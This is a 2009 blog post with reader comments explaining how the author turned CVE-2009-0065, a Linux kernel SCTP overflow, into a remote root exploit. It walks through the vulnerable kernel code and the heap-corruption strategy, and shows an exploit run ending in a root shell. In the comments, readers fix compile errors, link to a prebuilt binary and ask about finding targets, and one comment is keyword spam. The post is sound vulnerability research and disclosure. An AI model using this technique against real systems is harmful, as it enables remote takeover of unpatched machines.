Monday, April 27, 2009

When a "potential D.o.S." means a one-shot remote kernel exploit: the SCTP story

Common Vulnerabilities and Exposures
http://cve.mitre.org/cgi-bi/cvename.cgi?name=CVE-2009-0065
"Buffer overflow in net/sctp/sm_statefuns.c in the Stream Control Transmission Protocol (sctp) implementation in the Linux kernel before 2.6.28-git8 allows remote attackers to have an unknown impact via an FWD-TSN (aka FORWARD-TSN) chunk with a large stream ID. "

Ubuntu Security Notice USN-751-1
http://www.ubuntu.com/usn/usn-751-1
"The SCTP stack did not correctly validate FORWARD-TSN packets. A remote attacker could send specially crafted SCTP traffic causing a system crash, leading to a denial of service. (CVE-2009-0065)"

RedHat Security Advisory
http://rhn.redhat.com/errata/RHSA-2009-0331.html
"a buffer overflow was found in the Linux kernel Partial Reliable Stream
Control Transmission Protocol (PR-SCTP) implementation.
This could, potentially, lead to a denial of service if a Forward-TSN chunk is received
with a large stream ID. (CVE-2009-0065, Important) "


Potentially a DoS? Unknown Impact? Really? :D

I'm wondering why kernel developers (or vendors?) continue to claim that kernel memory corruption are just Denial of Service. Most of the times they _are_ exploitable.. yes, even when the vulnerability is remotely triggered, yes.. even when the corruption takes place in a freaking slub in the middle of a kernel _heap_ .. yes even when you have kernel data pages marked NX and the kernel .text read-only and yes, absolutely yes even when you start only with a 16bit displacement...

Last month one of my customer (that has a _custom_ deployed sctp application on his network ) asked me if the vulnerability may have some impact on his systems. The answer? "Yes it does", and since someone thinks that is not exploitable and someone else speculates over a possible locally privilege escalation only (with remote host sending TSN packet) i decided to write a completely remote exploit.

It is extremely reliable (nearly one-shot always), given that you know the target kernel. I tested it on Ubuntu 8.04 and Ubuntu 8.10
server boxes running with different kernels (ubuntu kernel for amd64) and on OpenSuse11.1 and a Fedora Core 10 (yes, extra-brownie points here, it works great on Selinux too). ...

I dont want to talk about the exploit, because the code should be self explanatory, but i'd like to briefly explore the vulnerability:

From an exploit writer point of view, the most critical points are: where the memory corruption occurs, when it occurs and what type of data structures are involved. The code that triggers the overflow is on sctp_ssn_skip() in the file: /net/sctp/structs.h:

void sctp_ssn_skip(struct sctp_stream *stream, __u16 id, __u16 ssn)
{
stream->ssn[id] = ssn+1;
}


Parameter "id" is not checked and later used as an index referenced by stream->ssn pointer: a 16bit value.
We can only overwrite memory _close_ the the struct involved.

Let's take a look at the sctp_stream structure and its stream pointer..
sctp_ssnmap_new() and sctp_ssnmap_init() function are in /net/sctp/ssnmap.c

Structures involved in streams mapping are:

struct sctp_stream {
__u16 *ssn;
unsigned int len;
};


struct sctp_ssnmap {
struct sctp_stream in;
struct sctp_stream out;
int malloced;
};


The code that allocates them is the following:

#define MAX_KMALLOC_SIZE 131072 //0x20000
...
size = sctp_ssnmap_size(in, out);
if (size <= MAX_KMALLOC_SIZE) retval = kmalloc(size, gfp);


If the size is under the MAX_KMALLOC_SIZE threshold the function dynamically allocates the sctp_ssnmap struct using as a parameter the number of in and out streams.
That's good news! Manipulating sctp handshake options we can arbitrary (if the sctp application has no application-level checks on, f.e., the number of simultaneously opened SCTP streams) decide the slab that will be used to allocate the chunk.

Immediately after that, the function calls sctp_ssnmap_init() to initialize in/out stream pointers:

static struct sctp_ssnmap *sctp_ssnmap_init(struct sctp_ssnmap *map, __u16 in, __u16 out)
{
memset(map, 0x00, sctp_ssnmap_size(in, out));

/* Start 'in' stream just after the map header. */
map->in.ssn = (__u16 *)&map[1]; <--- stream in init
map->in.len = in;

/* Start 'out' stream just after 'in'. */
map->out.ssn = &map->in.ssn[in]; <--- stream out init
map->out.len = out;

return map;
}


Again, good news. The stream pointers are self-contained. They point inside the previously allocated buffer, and more precisely the input stream is located exactly after the header. No kfree() will ever be called on these pointers: in other words they are a safe place to overwrite, and there's no need to worry about post-exploitation recovery.

The last thing that may complicate a bit the exploit is a check that the kernel makes before invoking sctp_ssn_skip():

/net/sctp/ulpqueue.c: sctp_ulpk_skip() :

if (SSN_lt(ssn, sctp_ssn_peek(in, sid))) <--- check
return;

/* Mark that we are no longer expecting this SSN or lower. */
sctp_ssn_skip(in, sid, ssn);


with SSN_lt():

enum {
SSN_SIGN_BIT = (1<<15)>

Strictly speaking this code checks if the value we are overwriting (the old SSN content) is greater or equal to the new value: if so it doesn't process the FWD chunk. The comparison here is made using Serial Number Arithmetic (like the one used for protocol sequence number (eg. tcp seq number)) and can be fooled writing multiple chunks until it legally wraps around to a well known defined value.

Then, at this point, if we know the target running kernel, we can:

1) Control the slab/slub to be used
2) Overwrite a safe pointer close to the overflowing buffer
3) Easily control overwritten data..

.. in other words..
..
#./sctp_houdini -H 192.168.200.1 -P 5555 -h 192.168.200.10 -p 20000 -s 15000 -c 700 -t fedora64_10-2.6.25-117
[**] Monitoring Network for TSN/VTAG pairs..
[**] Start flushing slub cache...
[**] Using TSN/VTAG pairs: (TSN: 28022e8 <=> VTAG: 41fdd4fb) / (TSN: 8cafd3ae <=> VTAG: 1a99396c)...
[**] Overwriting neightboard sctp map..
[**] Disabling Selinux Enforcing Mode..
[**] Overwriting neightboard sctp map ......
[**] Overwriting vsyscall shadow map..
[**] Hijacking vsyscall shadow map..
[**] Waiting daemons executing gettimeofday().. this can take up to one minute...
[**] ....
[**] Connected!
[**] Restoring vsys: Emulate gettimeofday()...
uid=0(root) gid=0(root) groups=51(smmsp) context=system_u:system_r:sendmail_t:s0


GAME OVER


The exploit code can be downloaded here.

49 Comments:

Anonymous Anonymous said...

great!

April 28, 2009 at 12:36 PM  
Anonymous Anonymous said...

Excellent work! Please continue your work!

April 28, 2009 at 3:36 PM  
Blogger hdm said...

kick ass!

April 28, 2009 at 3:55 PM  
Anonymous secteam said...

oh snapparoonie! great work!

April 28, 2009 at 4:10 PM  
Anonymous Anonymous said...

Great Job!

April 28, 2009 at 4:15 PM  
Anonymous Ramon de Carvalho Valle said...

sgrakkyu++

April 28, 2009 at 4:19 PM  
Blogger sujiru said...

Man, $100k if sold on the black market =)

Great job!

April 28, 2009 at 4:21 PM  
Anonymous Anonymous said...

awesome

April 28, 2009 at 4:26 PM  
Blogger Gadi Evron said...

It's always nice to have good and talented people show us how we forget the obvious, continually. This somehow brings memories of Ciscogate to mind, but just by similarity of the original DoS vulnerability story.

Thanks for your work and for keeping full disclosure alive and well (where responsible). Everyone should be patched by now, unless they don't believe DoS vulns to be "important enough".

April 28, 2009 at 4:28 PM  
Anonymous Anonymous said...

please compile sctp_houdini.c

gcc sctp_houdini.c -o sctp_houdini>> error:(

April 28, 2009 at 5:24 PM  
Anonymous Anonymous said...

This is great stuff. The Linux kernel dev's are making a joke of linux security. We need more POC's like this to make the case.

April 28, 2009 at 5:41 PM  
Blogger PH0R 1337 B04RD said...

w00t it ..

Good work

April 28, 2009 at 6:30 PM  
Anonymous Anonymous said...

This is not a "valid" exploitation of the bug.
system("iptables -t filter -A OUTPUT -p sctp --chunk-types any ABORT -j DROP");

Using system to invoke an external process that requires root permissions as a foundation for the example of the exploit invalidates the exploit. Remove the dependency on iptables (or any root permission application).

April 28, 2009 at 6:39 PM  
Anonymous Giorgio Fedon said...

When the OS is Unix and the exploit coder is Sgrakkyu the exploitability rate deserves its own metrics.

As Microsoft does, Vulnerabilities could still be explotiable if the Attacker has tremendous skills.

Kudos

April 28, 2009 at 6:46 PM  
Anonymous Anonymous said...

(Clarification on comment regarding the system call). This fails on a remote system running 2.6.25 unless iptables has been modified.

April 28, 2009 at 7:00 PM  
Anonymous Anonymous said...

you rock !!

April 28, 2009 at 9:51 PM  
Anonymous webDEViL said...

[quote]This is not a "valid" exploitation of the bug.[\quote]

It's a remote root exploit, not a privilege escalation!

April 28, 2009 at 10:05 PM  
Anonymous Anonymous said...

Wonder Backtrack4 effected or not.

April 28, 2009 at 11:18 PM  
Blogger Bdr said...

mmmmmmm mybe yes kz its built as ubuntu :-/

April 29, 2009 at 12:40 AM  
Anonymous Anonymous said...

Shit!! you fucked H00lishit!!

JaJa

April 29, 2009 at 1:33 AM  
Anonymous Devil said...

gcc sctp_houdini.c -o sctp
sctp_houdini.c:32:26: error: netinet/sctp.h: No such file or directory
sctp_houdini.c: In function 'make_sctp_connection':
sctp_houdini.c:710: error: storage size of 'msg' isn't known
sctp_houdini.c:712: error: invalid application of 'sizeof' to incomplete type 'struct sctp_initmsg'
sctp_houdini.c:730: error: 'SOL_SCTP' undeclared (first use in this function)
sctp_houdini.c:730: error: (Each undeclared identifier is reported only once
sctp_houdini.c:730: error: for each function it appears in.)
sctp_houdini.c:730: error: 'SCTP_INITMSG' undeclared (first use in this function)

April 29, 2009 at 1:40 AM  
Anonymous Anonymous said...

apt-get install libsctp-dev

April 29, 2009 at 1:52 AM  
Anonymous Devil said...

Slackware 12.2 // gcc 4.2.4 //

libsctp-dev fail

April 29, 2009 at 3:20 AM  
Blogger Alfred said...

Excellent exploit.

It still requires the victim to have an application listening on a sctp socket, that is a little hard to find, so I suppose the sky is not falling for linux yet.

April 29, 2009 at 3:32 AM  
Anonymous Devil said...

Debian 5 ...
apt-get install libsctp-dev ...

binutils (2.18.1~cvs20080103-7) ...
libgomp1 (4.3.2-1.1) ...
gcc-4.3 (4.3.2-1.1) ...
gcc (4:4.3.2-2) ...
linux-libc-dev (2.6.26-15) ...
libc6-dev (2.7-18) ...
libsctp1 (1.0.9.dfsg-1) ...
libsctp-dev (1.0.9.dfsg-1) ...
lksctp-tools (1.0.9.dfsg-1) ...

Compilation:OK Execution:OK
=D

April 29, 2009 at 3:59 AM  
OpenID legion303 said...

I like the cut of your jib.

April 29, 2009 at 6:35 AM  
Anonymous Anonymous said...

gcc -o tes sctp_houdini.c
sctp_houdini.c:32:26: error: netinet/sctp.h: No such file or directory
sctp_houdini.c: In function 'make_sctp_connection':
sctp_houdini.c:710: error: storage size of 'msg' isn't known
sctp_houdini.c:712: error: invalid application of 'sizeof' to incomplete type 'struct sctp_initmsg'
sctp_houdini.c:730: error: 'SOL_SCTP' undeclared (first use in this function)
sctp_houdini.c:730: error: (Each undeclared identifier is reported only once
sctp_houdini.c:730: error: for each function it appears in.)
sctp_houdini.c:730: error: 'SCTP_INITMSG' undeclared (first use in this function)

April 29, 2009 at 7:22 AM  
Anonymous Anonymous said...

asdf.cpp:21:1: warning: "_GNU_SOURCE" redefined
/command-line/: warning: this is the location of the previous definition
asdf.cpp: In function ‘void* make_fwd_packet(uint16_t, uint16_t, uint32_t, uint32_t, uint16_t (*)[2], int, int*)’:
asdf.cpp:576: error: invalid conversion from ‘void*’ to ‘uint8_t*’

what about this? any hints?

April 29, 2009 at 9:37 AM  
Anonymous Anonymous said...

ok, nevermind :P *stupid* :)

April 29, 2009 at 10:09 AM  
Blogger sgrakkyu said...

First of all, tnx for your comments/feedbacks
I want to make some remarks:

- the exploit works _ONLY_ if you have listening sctp socket bound to an external interface and SCTP-PR enable (if you have not any sctp application and you want to test the exploit use sctp_test program)

- dont't try to run it (for testing purpose) on localhost, almost all the times it will fail for two main reasons:
1) the ABORT chunk may reach sctp stack
2) the ssnmap structures allocated by the client process play havoc with the ones allocated by the server creating hole in the "neightboard overflow" exploit logic

- about other distributions and other architectures, all non-patched kernel are vulnerable... but _this_ exploit works only for x86-64 kernels (does not work on 32bit ones). Anyway it's not difficult to port it, just do it if you want.

- about compilation issues: stop reporting them please :)
just install libsctp-dev package and don't use .cpp extension

April 29, 2009 at 11:53 AM  
Anonymous Anonymous said...

Kernels in general always have flaws. Finding them
on any driver or module is always something that
kernel developers are trying to do. In fact their
are toolkits out there that look for these, not only
in SCTP, but also in TCP, UDP, IP et.al.

When I worked for a large router company we
turned these against some of the stacks we worked
on and they of course found bugs. Since these
tools cost $$'s its not surprising the kernel developers
for linux SCTP did not have access to them. I know
when we ran the tools against the FreeBSD SCTP
stack a huge number of vulnerabilities were fixed.

Basically bottom line is ... I bet you could find bugs
in several places in linux (or other O/S's) by using
such tools.

April 29, 2009 at 12:18 PM  
Blogger j0rd4n14n.r1z said...

you can get the remote compiled from here

http://sec-r1z.com/attachment.php?attachmentid=125&d=1240955667

you need to regesiter sorry am just a user there ..

Good work buddy keep going ..
/j0rd4n14n.r1z

April 29, 2009 at 1:40 PM  
Anonymous Anonymous said...

Complimenti sgrakkyu,per me erano anni che non si vedevano 'trick' del genere,
ottimo veramente.

April 29, 2009 at 3:53 PM  
Anonymous lopoc said...

Bello davvero Sgrà!

April 29, 2009 at 11:36 PM  
Anonymous Anonymous said...

Sgrakkyone bello, un gran lavoro! You rock, man ;-) (gg sullivan)

April 30, 2009 at 1:11 AM  
Anonymous Anonymous said...

"I'm wondering why kernel developers (or vendors?)..."
I assume Linus' stance on "security fixes" is why we don't see any coming from kernel.org:
http://article.gmane.org/gmane.linux.kernel/706600

April 30, 2009 at 7:27 PM  
Anonymous Anonymous said...

look at all the script kiddies come out of the woodwork and not know how to fix/compile the code...as to the guy who said the exploit was "invalidated" come on man...its a remote root exploit...run it as root on your own box (or one of your hacked boxen)

April 30, 2009 at 10:33 PM  
Anonymous Anonymous said...

also MAJOR KUDOS sgrakkyu

April 30, 2009 at 10:33 PM  
Anonymous Anonymous said...

go die script kiddies

May 1, 2009 at 11:32 AM  
Blogger y3dips said...

good one :)

May 2, 2009 at 5:00 AM  
Anonymous Anonymous said...

well done! thx for showing this
please continue your work

May 7, 2009 at 3:40 AM  
Anonymous Anonymous said...

This is Art of hacking , cool ......

May 12, 2009 at 5:06 PM  
Blogger Jesús said...

Few linux with sctp services, but very good job :)

May 13, 2009 at 5:15 PM  
Anonymous website design nyc said...

very nice post

May 14, 2009 at 1:20 PM  
Anonymous Anonymous said...

What is the SCCP port to scan ips?And how can i discover the -t(verion) of the server(ip)?

May 15, 2009 at 12:44 AM  
Anonymous Anonymous said...

lol@ kiddies

a very nice piece of work man. just wish i had more use for it, as sctp based applications are of limited extent.

May 16, 2009 at 8:27 AM  
Anonymous zmda said...

@ Gadi Evron - shut the fuck up, you know nothing about talent.

@sgrakkyu - I like how you discovered this!

June 2, 2009 at 6:38 PM  
Anonymous Anonymous said...

Anyone get one ip vuln? :(

July 20, 2009 at 2:47 AM  
Blogger ahmet ŞAhin said...

you for this informative article. And I thank you for this I follow your vendors. It’s verry good. I wish you continued success and whould you like
film indir
sikiş
indir
rapidshare download
yerli film indir
Vizyon filmi indir
tükce dublaj filmi indir
korku filmi indir
komedi filmi indir
aksiyon filmi indir
romantik filmi indir
macera filmi indir
gerilim filmi indir
porno izle
Good Days

July 9, 2010 at 1:44 PM  

Post a Comment

Subscribe to Post Comments [Atom]

<< Home